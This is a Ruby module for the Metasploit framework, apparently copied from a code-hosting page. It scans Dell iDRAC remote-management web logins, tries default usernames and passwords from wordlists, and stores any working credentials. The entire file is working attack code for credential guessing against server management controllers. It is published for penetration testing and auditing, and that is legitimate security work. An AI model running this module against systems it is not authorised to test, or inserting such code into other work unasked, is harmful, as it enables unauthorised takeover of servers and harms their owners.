140 lines
4.0 KiB
Ruby
140 lines
4.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::AuthBrute
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Dell iDRAC Default Login',
|
|
'Description' => %q{
|
|
This module attempts to login to a iDRAC webserver instance using
|
|
default username and password. Tested against Dell Remote Access
|
|
Controller 6 - Express version 1.50 and 1.85
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Cristiano Maruti <cmaruti[at]gmail.com>'
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '1999-0502'] # Weak password
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Path to the iDRAC Administration page', '/data/login']),
|
|
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
|
|
File.join(Msf::Config.data_directory, "wordlists", "idrac_default_user.txt") ]),
|
|
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
|
|
File.join(Msf::Config.data_directory, "wordlists", "idrac_default_pass.txt") ]),
|
|
OptInt.new('RPORT', [true, "Default remote port", 443])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('SSL', [true, "Negotiate SSL connection", true])
|
|
])
|
|
end
|
|
|
|
def target_url
|
|
proto = "http"
|
|
if rport == 443 or ssl
|
|
proto = "https"
|
|
end
|
|
uri = normalize_uri(datastore['URI'])
|
|
"#{proto}://#{vhost}:#{rport}#{uri}"
|
|
end
|
|
|
|
def do_login(user=nil, pass=nil)
|
|
|
|
uri = normalize_uri(target_uri.path)
|
|
auth = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => uri,
|
|
'SSL' => true,
|
|
'vars_post' => {
|
|
'user' => user,
|
|
'password' => pass
|
|
}
|
|
})
|
|
|
|
if(auth and auth.body.to_s.match(/<authResult>[0|5]<\/authResult>/) != nil )
|
|
print_good("#{target_url} - SUCCESSFUL login for user '#{user}' with password '#{pass}'")
|
|
report_cred(
|
|
ip: rhost,
|
|
port: rport,
|
|
service_name: (ssl ? 'https' : 'http'),
|
|
user: user,
|
|
password: pass,
|
|
proof: auth.body.to_s
|
|
)
|
|
return :next_user
|
|
else
|
|
print_error("#{target_url} - Dell iDRAC - Failed to login as '#{user}' with password '#{pass}'")
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
def run_host(ip)
|
|
print_status("Verifying that login page exists at #{ip}")
|
|
uri = normalize_uri(target_uri.path)
|
|
begin
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => uri
|
|
})
|
|
|
|
if (res and res.code == 200 and res.body.to_s.match(/<authResult>1/) != nil)
|
|
print_status("Attempting authentication")
|
|
|
|
each_user_pass { |user, pass|
|
|
do_login(user, pass)
|
|
}
|
|
|
|
elsif (res and res.code == 301)
|
|
print_error("#{target_url} - Page redirect to #{res.headers['Location']}")
|
|
return :abort
|
|
else
|
|
print_error("The iDRAC login page does not exist at #{ip}")
|
|
return :abort
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
rescue ::OpenSSL::SSL::SSLError => e
|
|
return if(e.to_s.match(/^SSL_connect /) ) # strange errors / exception if SSL connection aborted
|
|
end
|
|
end
|
|
end
|